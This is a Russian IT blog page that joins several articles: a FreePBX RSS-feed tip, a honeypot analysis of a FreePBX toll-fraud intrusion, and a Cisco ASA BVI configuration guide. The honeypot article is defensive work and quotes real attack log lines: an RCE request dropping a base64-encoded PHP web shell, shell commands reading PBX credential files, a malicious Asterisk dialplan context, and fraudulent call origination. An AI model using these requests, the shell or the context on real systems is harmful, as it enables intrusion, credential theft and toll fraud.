По вашему запросу ничего не найдено :(
Убедитесь, что запрос написан правильно, или посмотрите другие
наши статьи:
Друг, привет! Хотим рассказать про интересный способ создания индивидуального дашборда в FreePBX, а именно – наполнение его с помощью интересного для тебя контента.
В статье покажем простой способ добавить RSS – ленту в FreePBX.
Настройка
Открываем графический интерфейс FreePBX и переходим в раздел Settings → Advanced Settings и включаем там две опции:
Display Readonly Settings - Yes;
Override Readonly Settings - Yes;
Нажимаем Submit и Apply Config.
Оставаясь на той же странице, находим опцию RSS Feed и заполняем ее как указано ниже:
Будем ближе – добавьте себе нашу RSS ленту :) https://wiki.merionet.ru/wiki.rss.feed
Нажимаем Submit и Apply Config. Переходим на Dashboard интерфейса FreePBX, а там:
Привет друг! Ты наверняка слышал что-то про взлом IP-АТС, когда злоумышленники звонят в другие страны по международной связи, а жертве приходит большой счёт от провайдера. К большому сожалению – это правда и сейчас я по косточкам разберу метод такой атаки на IP-АТС Asterisk с графической оболочкой FreePBX, который позволяет плохим парням бесчестно наживаться на чужих ошибках, чтобы ты мог защитить себя и не стать очередной жертвой, за счёт которой позвонили в Сомали.
TL;DR: Графический интерфейс FreePBX имеет уязвимости удаленного исполнения кода (RCE – Remote Code Execution), в различных компонентах. Вот некоторые из них:
CVE-2014-7235 – Уязвимость в ARI Framework (Asterisk Recording Interface - ARI) в FreePBX версий 2.9.0.9, 2.10.x, и 2.11 до 2.11.1.5.
SEC-2016-004 - Уязвимость с модулях Hotel Wakeup (все версии между 13.0.1alpha2 и 13.0.14) и System Recordings (все версии между 13.0.1beta1 и 13.0.26)
CVE-2019-19006 (SEC-2019-001) – Уязвимость Framework FreePBX в версиях ниже v13.0.197.13, v14.0.13.11 и v15.0.16.26
Все эти уязвимости позволяют удаленно обойти процесс аутентификации (ну то есть не надо вводить логин и пароль) и выполнять команды на сервере с проблемной версией софта. Злоумышленники используют данные уязвимости для совершения исходящих звонков через свой контекст. Это значит, что если ты оставишь вэб-морду FreePBX открытой всему Интернету (по умолчанию порт 80 HTTP, 443 HTTPS), то рано или поздно – за твой счёт позвонят другие.
Так что НИКОГДА не открывай доступ веб-интерфейсу своей IP-АТС для всего Интернета, и вообще старайся ограничивать доступ к любым портам. А также ВСЕГДА обращай внимание на уведомление об обнаруженных уязвимостях и своевременно устанавливай обновления безопасности на всех продуктах! Но если ты всё же решил оставить свой FreePBX с открытым web-портом и забить на обновления – читай что будет дальше.
Разведка (Reconnaisance)
Прежде чем достичь своей цели (позвонить за твой счёт) злоумышленникам нужно сначала отыскать твой открытый веб-интерфейс FreePBX в сети. Сделать это очень просто, нужно просканировать порты. Для нашей атаки ему нужно найти порт 80 (HTTP), 443 (HTTPS) ну или 8080. Именно на них обычно висит страничка с аутентификацией. Отлично, нашли кучу адресов с торчащим наружу нужным портом, но как понять, что там именно FreePBX с уязвимой версией софта? Есть несколько способов – можно бить по всему подряд в надежде, что сервер уязвим, можно написать скрипт, который будет собирать дополнительную информацию (так называемые баннеры) о версии FreePBX. По умолчанию – установленная версия отображается на той же страничке с окном аутентификации. Давайте откроем лог HTTP-обращений к нашему серверу (его можно найти вот тут: /var/log/httpd/access_log) и посмотрим, как действуют злоумышленники.
Чтобы воочию наблюдать за тем как нас ломают, мы создали, так называемую ловушку (Honeypot) – это намеренно непропатченный, уязвимый сервер для того чтобы изучать действия хакеров. Мы установили на него FreePBX 13 версии и выставили наружу вэб-интерфейс (открыли всему миру 80 и 443 порты)
Примерно через час после “открытия” нашей ловушки, мы увидели такую картину:
На картинке показаны обращения к ресурсам нашего сервера (11.22.33.44), ответы от него и User-Agent’ы, с которых осуществлялись обращения. Например, рассмотрим следующее обращение:
169.197.108.42 - - [30/May/2020:11:35:57 +0300] "GET /admin HTTP/1.1" 301 316 "https://11.22.33[.]44/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
Здесь:
169.197.108[.]42 – адрес, с которого осуществлялось обращение;
GET /admin - запрос страницы https://11.22.33[.]44/admin;
301 – ответ HTTP 302 (Moved Permanently – Перемещено навсегда). Ответ сервера, означающий, что запрашиваемый ресурс (страница https://11.22.33[.]44/admin ) был перемещен;
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" - User Agent Google Chrome версии 60 для Windows 10. Это значит, что для доступа к ресурсу https://11.22.33[.]44/admin был использован браузер Chrome.
Для большей наглядности, мы выделили счастливчиков, которые нашли то, что искали (им сервер ответил 200 ОК и вернул запрашиваемую информацию). В их числе:
169.197.108[.]42
198.108.66[.]192
45.143.221[.]50
173.212.225[.]214
45.143.220[.]111
Если присмотреться внимательнее, то можно увидеть, что все они нашли одно и то же - /admin/config.php, но давайте посмотрим на действия 173.212.225[.]214.
Обратите внимание, что он также пытается обращаться к ресурсам явно не относящимся к FreePBX (/vtigercrm/vtigerservice.php, /a2billing/admin/Public/index.php), а когда находит /admin/config.php , сразу же безуспешно пытается исполнить интересный скрипт:
/rr.php?yokyok=cat%20/etc/amportal.conf;%20cat%20/etc/asterisk/sip_additional.conf HTTP/1.1" 404 284 "-" "libwww-perl/6.42"
/admin/config.php?password%5B0%5D=BADR&username=admin HTTP/1.1" 500 53870 "-" "python-requests/2.22.0"
/admin/ajax.php?module=asterisk-cli&command=clicmd&data=channel%20originate%20local/*78@from-internal%20application%20system%20%22echo%20PD9waHAKc3lzdGVtKCRfUkVRVUVTVFsieW9reW9rIl0pOwo/Pg==%7C%20base64%20-d%20%3E%20/var/www/html/rr.php%22 HTTP/1.1" 403 43 "https://11.22.33.44:443//admin/config.php?display=cli" "python-requests/2.22.0"
/admin/config.php?password%5B0%5D=BADR&username=admin HTTP/1.1" 500 53870 "-" "python-requests/2.22.0"
Доставка (Delivery)
Эти обращения – есть ни что иное как попытка создания скрипта на нашей IP-АТС для совершения исходящих звонков. Однако хоть нас и обнаружили, злоумышленнику не удаётся обратиться к нужному компоненту – скрипту /rr.php, сервер отвечает сообщением HTTP 403 (Forbidden).
Обратите также внимание на User-agent’ы - python-requests/2.22.0 и libwww-perl/6.42. Это уже не просто браузеры, а WWW библиотеки Pearl и Python.
Позднее, кому-то на адресе 45.143.220[.]111 всё-таки удаётся создать /rr.php. Для этого используется уже немного другой User-Agent - "python-requests/2.6.0 CPython/2.7.5 Linux/3.10.0-1062.18.1.el7.x86_64".
Создание rr.php происходит после ввода:
"GET /admin/ajax.php?module=asterisk-cli&command=clicmd&data=channel%20originate%20local/*78@from-internal%20application%20system%20%22echo%20PD9waHAKc3lzdGVtKCRfUkVRVUVTVFsieW9reW9rIl0pOwo/Pg==%7C%20base64%20-d%20%3E%20/var/www/html/rr.php%22 HTTP/1.1" 200 32 "https://11.22.33[.]44//admin/config.php?display=cli" "python-requests/2.6.0 CPython/2.7.5 Linux/3.10.0-1062.18.1.el7.x86_64"
Само содержимое скрипта rr.php зашифровано по алгоритму base64 и скрыто вот в этой короткой строчке:
20PD9waHAKc3lzdGVtKCRfUkVRVUVTVFsieW9reW9rIl0pOwo/Pg
Вот дешифровка:
Этот небольшой php скрипт нам кладут в директорию /var/www/html/, а дальше начинается самое интересное. Заметили строчку config.php?display=cli? Да, злоумышленники успешно получили доступ к командной строке и теперь могут делать что душе угодно!
Обратите внимание на смену User Agent’а в 16:17:53 – "curl/7.29.0". Это значит, что кто-то через утилиту curl (скорее всего через ту самую командную строку) лезет куда-то ещё. Давайте выясним – зачем?
Инсталляция (Installation)
Для этого откроем другой лог /var/log/httpd/error_log и посмотрим, что происходило за время использования curl.
В глаза сразу же бросается обращение на Pastebin (сайт, куда можно загружать любой текст или код для просмотра всем желающим) по ссылке /raw/Dbnw6kqb. Перейдя по данной ссылке нас встречает уже знакомая кодировка base64, причём код зачем-то повторяется дважды:
Расшифруем:
Вся эта радость сохраняется по пути /var/www/html/badr.php
На самом деле, вариаций этого скрипта довольно много, иногда он скачивается по частям с разных сайтов, иногда в нём можно обнаружить попытки затирания свидетельств компрометации. Как видите, они весьма похожи и их суть довольно проста - украсть наш конфиг Amportal (всю конфигурацию FreePBX с паролями ARI и AMDB), чтобы затем подсунуть нам измененный файл /etc/amportal.conf и собственно создать вредоносный контекст, через который потом можно будет звонить.
Управление (Command & Control)
Мы, а точнее плохие парни, почти на финишной прямой. Помнишь про простенький вредоносный скрипт rr.php, который нам недавно подсунули? Самое время вернуться к нему!
Напомню – это простенький php-скрипт, который просит всего одну переменную - yokyok и позволяет передать в неё абсолютно любой параметр. Пользуясь этой замечательной возможностью, хакеры передают туда (время 16:17:51 и 54) измененный конфигурационный файл /etc/amportal.conf и изменённый файл /etc/asterisk/sip_additional.conf.
Как можно догадаться – в sip_additional.conf у нас теперь есть вредоносный контекст, который и позволит злоумышленникам звонить за наш счёт. Вот он:
[badr-outcall]; thankuohoh
exten => _.,1,Macro(user-callerid,LIMIT,EXTERNAL,); thankuohoh
exten => _.,n,Set(MOHCLASS=${IF($["${MOHCLASS}"=""]?default:${MOHCLASS})});
thankuohoh
exten => _.,n,Set(_NODEST=); thankuohoh
exten => _.,n,Macro(dialout-trunk,1,${EXTEN},,on); thankuohoh
exten => _.,n,Macro(dialout-trunk,2,${EXTEN},,on); thankuohoh
exten => _.,n,Macro(dialout-trunk,3,${EXTEN},,on); thankuohoh
exten => _.,n,Macro(dialout-trunk,7,${EXTEN},,on); thankuohoh
exten => _.,n,Macro(outisbusy,); thankuohoh
PROFIT (Actions on Objectives)
Ну чтож, как говорится:
Как ты, наверное, уже понял – звонить они тоже будут через rr.php и yokyok. Захотели позвонить в Уганду или на Сейшельские острова? Пожалуйста:
45.143.220.111 - - [31/May/2020:16:25:14 +0300] "GET /rr.php?yokyok=cat%20/etc/asterisk/sip_additional.conf;%20/usr/sbin/asterisk%20-rx%20'channel%20originate%20Local/810256207815086@thanku-outcall%20application%20wait%201600' HTTP/1.1" 200 16290 "-" "libwww-perl/6.05"
45.143.220.111 - - [31/May/2020:16:55:06 +0300] "GET /rr.php?yokyok=cat%20/etc/asterisk/sip_additional.conf;%20/usr/sbin/asterisk%20-rx%20'channel%20originate%20Local/8102486420077@thanku-outcall%20application%20wait%201600' HTTP/1.1" 200 16290 "-" "libwww-perl/6.05"
А ты потом будешь наблюдать в CDR Reports такую картинку и платить провайдеру по счетам:
Ну хоть “спасибо” сказали. Ты же заметил, как называется контекст, который нам сделали - thankuohoh? Жаль нельзя прослушать о чём они там говорили.. ?
Ну, а если не хочешь, чтобы и твой Asterisk тоже достался хакерам – скорее беги закрывать 443, 80, 8080 и устанавливать последние обновления безопасности!
PS: Кстати, нашу ловушку явно пробили через уязвимость CVE-2019-19006 (SEC-2019-001):
[SECURITY] (BMO/Notifications.class.php:507) - [NOTIFICATION]-[freepbx]-[VULNERABILITIES] - There is 1 module vulnerable to security threats (framework (Cur v. 13.0.195.4) should be upgraded to v. 13.0.197.14 to fix security issues: SEC-2019-001
[INFO] (bin/module_admin:631) - framework 13.0.195.4 Online upgrade available (13.0.197.14)
Когда появился брандмауэр ASA 5506-X, было много нареканий: "это устройство не является заменой ASA 5505, к нему необходимо докупать коммутатор!" и "на устройстве есть шесть портов, но которые я не могу использовать" и так далее.
Если, честно сказать, ASA 5505 должен использоваться в среде SOHO, где все находится в одном устройстве (с PoE). Проблема состояла в том, что люди стали устанавливать их повсюду и в крупных компаниях, и в центрах обработки данных.
Что бы решить эту проблему, необходимо было бы изменить аппаратное обеспечение. Поэтому Cisco, для решения этой проблемы, просто добавила BVI (виртуальный интерфейс моста), начиная с версии 9.7. Вообще, это не совсем верное утверждение, так как в Cisco ASA уже определенное время имеются интерфейсы BVI (Bridge Group Virtual Interface) в так называемом "прозрачном режиме" (transparent mode). Таким образом, на ASA 5506-X с настройками по умолчанию- это "мостовые" интерфейсы начиная с порта Ge0/2 и заканчивая портом Ge0/8, которым можно присвоить имя inside и IP-адрес.
Вроде бы все как у ASA5505. Но нет, потому что для каждого мостового интерфейса требуется прописывать отдельно access-group/ACL, а также отдельно настраивать NAT. Конечно, можно все оставить по умолчанию и ничего не трогать, если у вас ну очень простая сеть. Также обратите внимание, что утверждение выше справедливо и для удаленного управления через SSH/ADSM и так далее.
Далее посмотрим настройки и произведем изменения в интерфейсе ASA 5506-X для BVI
Ниже показана сокращенная конфигурация брандмауэра по умолчанию и жирным шрифтом выделены дополнительные команды, которые используются для этой конфигурации брандмауэра.
Это обновленная "дефолтная" конфигурация брандмауэра 5506-X (начиная с version 9.7.)
Удаление интерфейса BVI на ASA 5506-X через CLI
Во-первых, необходимо удалить группу мостов на физических интерфейсах, но предварительно надо удалить имя интерфейса. Если этого не сделать, то это приведет к ошибке. Подключитесь к устройству через консольный кабель или через внешний интерфейс (outside)(Это необходимо, так как мы собираемся удалить настроенный внутренний интерфейс (inside).
Только после выполнения вышеописанных команд можно удалить интерфейс BVI.
Интерфейс BVI1 будет удален из конфигурации (если вы ранее работали на маршрутизаторах, то это похоже на удаление интерфейса loopback). Теперь удалите "несуществующие" группы объектов, которые использовались для NAT.
Предположим, что внешний интерфейс (GigabitEthernet0/1) включен и подключен, (по умолчанию он будет настроен на DHCP). Далее необходимо будет настроить "внутренний" интерфейс (будет использован GigabitEthernet0/2) и настроить правило NAT/PAT, чтобы разрешить трафик.
Теперь весь трафик из внутренней сети во внешнюю разрешен, а весь внешний трафик запрещен.